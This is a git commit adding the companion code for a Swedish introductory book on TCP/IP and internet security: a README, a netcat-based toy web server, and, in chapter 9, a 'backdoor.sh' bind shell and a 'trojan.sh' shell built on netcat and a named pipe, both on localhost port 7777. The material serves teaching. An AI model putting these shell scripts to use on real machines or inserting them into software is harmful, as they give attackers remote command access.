Inital commit

This commit is contained in:
Jack-Benny Persson 2023-04-12 00:25:33 +02:00
commit f1f0b29fb6
6 changed files with 81 additions and 0 deletions

49
README.md Normal file
View File

@ -0,0 +1,49 @@
# Demonerna på internet
**Demonerna på internet : en introduktion till TCP/IP-protokoll, internet och säkerhet**
är en utforskande bok om internet. Boken är skriven för att vara lättläst och
innehåller inte särskilt mycket kod, men de få kodexempel som finns i boken
hittar du här.
**ISBN: 978-91-983300-8-3**
Du hittar boken hos [CyberInfo Sverige](https://www.cyberinfo.se/bocker/) och
[Bokus](https://www.bokus.com/bok/9789198330083/demonerna-pa-internet-en-introduktion-till-tcp-ip-protokoll-internet-och-sakerhet/).
Är du nyfiken på boken så titta gärna igenom
[innehållsförteckningen](https://www.cyberinfo.se/dokument/demonerna-pa-internet_innehallsforteckning.html).
## Baksidetexten
Internet är fullt av demoner som vi kan leka med. Mejldemoner, webbdemoner,
namndemoner och många andra typer av demoner. I Demonerna på internet lär vi
oss vad dessa demoner är för något och hur vi kan prata med dem med hjälp av
vanliga textkommandon. Det gör att vi får en djupare förståelse för hur
internet fungerar och hur allt hänger samman.
När vi utforskar demonerna upptäcker vi också några intressanta saker om
internet. Bland annat att många av de protokoll och demoner vi använder idag
är riktigt gamla. Vi lär oss också att Unixsystem i olika former har spelat en
viktig roll för internets utveckling och gör så fortfarande.
Laborationerna i boken utförs därför på Unix- eller Linuxsystem. Men även om
man använder ett annat operativsystem på sin dator kan man genomföra bokens
laborationer. I början går vi igenom hur man kan installera Linux inuti
Windows med hjälp av WSL. De som använder macOS har redan ett komplett
Unixsystem och kan börja laborera direkt.
I boken utforskar vi också ämnen som säkerhet och hacking. Vi gör en egen
trojan som startar en bakdörr på datorn. Vi avlyssnar nätverkstrafik med
tcpdump och förfalskar mejl genom att prata direkt med mejlservrar på
internet.
Vi lär oss hur HTTP-protokollet fungerar, hur man kan göra manuella
förfrågningar och modifiera de headers som skickas med i HTTP-anropen. Vi
testar också att göra en egen liten webbdemon, eller webbserver, som visar en
enkel hemsida.
Boken är en kort introduktion till TCP/IP och några av de vanligaste
protokollen, så som HTTP, SMTP, POP3, NTP och DNS. Den är skriven för att vara
lättläst, och man behöver inte genomföra bokens alla laborationer om man inte
vill den går lika bra att läsa i sängen eller i soffan.
## Framsidan
![Demonerna på internet](/omslaget-demonerna-pa-internet-github.png)

18
kapitel6/data.txt Normal file
View File

@ -0,0 +1,18 @@
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 298
Server: netcat
<!doctype html>
<html lang="sv">
<head>
<meta charset="utf-8">
<title>Min egen HTTP-demon</title>
</head>
<body>
<h1>En liten och enkel HTTP-demon</h1>
<p>Webben är inte mycket mer än detta. En demon<br>
som lyssnar på en port och skickar några textsträngar.</p>
</body>
</html>

5
kapitel6/mini-httpd.sh Normal file
View File

@ -0,0 +1,5 @@
#!/bin/bash
while true; do
cat data.txt | nc -w1 127.0.0.1 -l 8999;
done

5
kapitel9/backdoor.sh Normal file
View File

@ -0,0 +1,5 @@
#!/bin/bash
mkfifo /tmp/f
cat /tmp/f | /bin/bash 2>&1 | nc localhost -l 7777 > /tmp/f \
&& rm /tmp/f

4
kapitel9/trojan.sh Normal file
View File

@ -0,0 +1,4 @@
#!/bin/bash
mkfifo /tmp/f
/bin/bash 0</tmp/f | nc localhost 7777 1>/tmp/f && rm /tmp/f

Binary file not shown.

After

Width:  |  Height:  |  Size: 149 KiB